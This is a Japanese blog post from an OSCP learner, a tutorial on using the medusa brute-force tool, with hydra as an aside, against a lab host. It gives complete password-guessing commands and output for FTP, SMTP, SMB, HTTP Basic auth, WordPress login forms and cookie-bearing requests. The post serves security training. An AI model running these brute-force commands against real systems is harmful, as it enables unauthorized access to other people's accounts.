どうも。
かなり久々の投稿。誰も見ていないと思うけど。
タイトルの通り、去年の6月末あたりからOSCP取得に向けてコースを受けていて、現在も取得できずに苦戦中です。
OSCPの詳細については受かってから詳しく書こうとは思いますが、最近カリキュラムの内容にアップデートがかかって、範囲が2倍になった模様。
価格も初期申込からだと全体的に上がっており、さらにハードルが高くなったように感じているが、密度の濃い内容になることは間違いない。
そんなこと気にしている場合じゃない。今はOSCP取得に向けて頑張るのみ。
ということで、OSCP学習の過程で学んだ一つである「medusa」の使い方について、用途別で簡単に書こうと思います。
■medusaとは
ブルートフォース攻撃で使われるツールの1つです。
他のブルートフォース用のツールで有名どころで言えばhydra。
多様なプロトコルに対応していたり、webフォームに対する攻撃も柔軟に設定ができるので、medusaをよく使っています。
■準備
攻撃対象サーバのIPアドレス:192.168.179.123
パスワードリスト:以下
kali@kali:~$ cat password_list.txt admin administrator adm test test1 user guest user1 default www-data apache kali@kali:~$
■ケース1 - シンプルなやつ
・FTPだったり、SMTPだったりと、プロトコルに応じてシンプルに攻撃するパターン
medusa -h 192.168.179.123 -u admin -P password_list.txt -M ftp
出力結果:
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> ACCOUNT CHECK: [ftp] Host: 192.168.179.123 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: admin (1 of 12 complete) ACCOUNT CHECK: [ftp] Host: 192.168.179.123 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: administrator (2 of 12 complete) ACCOUNT CHECK: [ftp] Host: 192.168.179.123 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: adm (3 of 12 complete) ACCOUNT CHECK: [ftp] Host: 192.168.179.123 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: test (4 of 12 complete) ACCOUNT FOUND: [ftp] Host: 192.168.179.123 User: admin Password: test [SUCCESS]
admin/testで突破できたことがわかる。
他のプロトコルでも同様。
medusa -h 192.168.179.123 -u admin -P password_list.txt -M smtp
SMB (-Mオプションの引数注意!)
medusa -h 192.168.179.123 -u admin -P password_list.txt -M smbnt
■ケース2 - HTTPのBasic認証
URLパスに指定がなければ、-Mにhttpを指定するだけ。
kali@kali:~$ medusa -h 192.168.179.123 -u guest -P password_list.txt -M http
もしBasic認証の対象URLにパスがつく場合。
targetURL: hxxp://192.168.179.123/guest/welcome.html
kali@kali:~$ medusa -h 192.168.179.123 -u guest -P password_list.txt -M http -m DIR:/guest/welcome.html
出力結果:
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: admin (1 of 11 complete) ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: administrator (2 of 11 complete) ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: adm (3 of 11 complete) ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: test (4 of 11 complete) ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: test1 (5 of 11 complete) ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: user (6 of 11 complete) ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: guest (7 of 11 complete) ACCOUNT FOUND: [http] Host: 192.168.179.123 User: guest Password: guest [SUCCESS] kali@kali:~$
guest/guestで突破できたことがわかる。
■ケース3 - ログインフォームの突破
ケース2との違いとしては、ログイン失敗時のシグナル(文字列)を設定することで、成功か否かを判別するというものです。
対象ページはWordpressのadminページを想定しています。
medusa -h 192.168.179.123 -u admin -P password_list.txt -M web-form -m FORM:"wp-login.php" -m FORM-DATA:"post?log=&pwd=&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.179.123%2Fwp-admin%2F&testcookie=1" -m DENY-SIGNAL:"incorrect"
それぞれのオプションを軽くブレイクダウンすると
-M web-form
→ web-formを指定
-m FORM:"wp-login.php"
→ ログイン対象のページを指定 (パスがある場合は "path/wp-login.php")
-m FORM-DATA:"post?log=&pwd=&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.179.123%2Fwp-admin%2F&testcookie=1"
→ POSTデータを指定。 BurpSuiteなどで一旦POSTデータを確認するとわかりやすい。
ユーザ名、パスワードのイコール以降は指定しないのがポイント。
(今回であればnameが「log=」、passwordが「pwd=」)
-m DENY-SIGNAL:"incorrect"
→ ログイン失敗した場合のシグナルを指定。
Wordpressページであれば存在するユーザ名でパスワードを間違えれば「incorrect」が含まれるのでそれを指定している。
ログインページにもよりますが、成功した場合こういう出力が出てきたりします。
ERROR: The answer was NOT successfully received, understood, and accepted while trying admin adm: error code 302 ACCOUNT CHECK: [web-form] Host: 192.168.179.123 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: adm (3 of 12 complete)
これは「DENY-SIGNALで指定した文字列を含まないページが返ってきてリダイレクトされたよ」ってメッセージです。
つまり成功したことでadminページにリダイレクトするためのレスポンスが返ってきたのでしょう。
■ケース4 - Cookieヘッダをつける
中にはセッションを保ったままBasic認証をしたりするようなものもあったりするので、Cookieヘッダのつけ方も知っておくと、いつか役に立つでしょう。
ついでにスピードをあげるために-tオプションでスレッド数も指定しておきましょう(デフォルト)
medusa -h 192.168.179.123 -u admin -P password_list.txt -M http -m CUSTOM-HEADER:"Cookie: JSESSIONID=9623996267A0F002BE597D77B161EE0B" -t 20
■ちなみにhydra
Basic認証
hydra -l admin -P password_list.txt 192.168.179.123 http-get hydra -L namelist.txt -P password_list.txt 192.168.179.123 http-get
POSTでのログインフォーム
hydra -l admin -P password_list.txt 192.168.179.123 http-post-form '/login.php:user=^USER^&pass=^PASS^:login failed'
コロン(:)区切りの箇所は、3つめに失敗時のシグナルを指定する。
成功時の出力:
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-03-18 05:45:42 [DATA] max 13 tasks per 1 server, overall 13 tasks, 13 login tries (l:1/p:13), ~1 try per task [DATA] attacking http-post-form://192.168.179.123:80/login.php:user=^USER^&pass=^PASS^:login failed [80][http-post-form] host: 192.168.179.123 login: admin password: admin 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-03-18 05:45:48
■まとめ
改めて書きながら実践していくと、POSTのログインフォームはhydraの方が使いやすいことがわかった。
明日から相方変更です。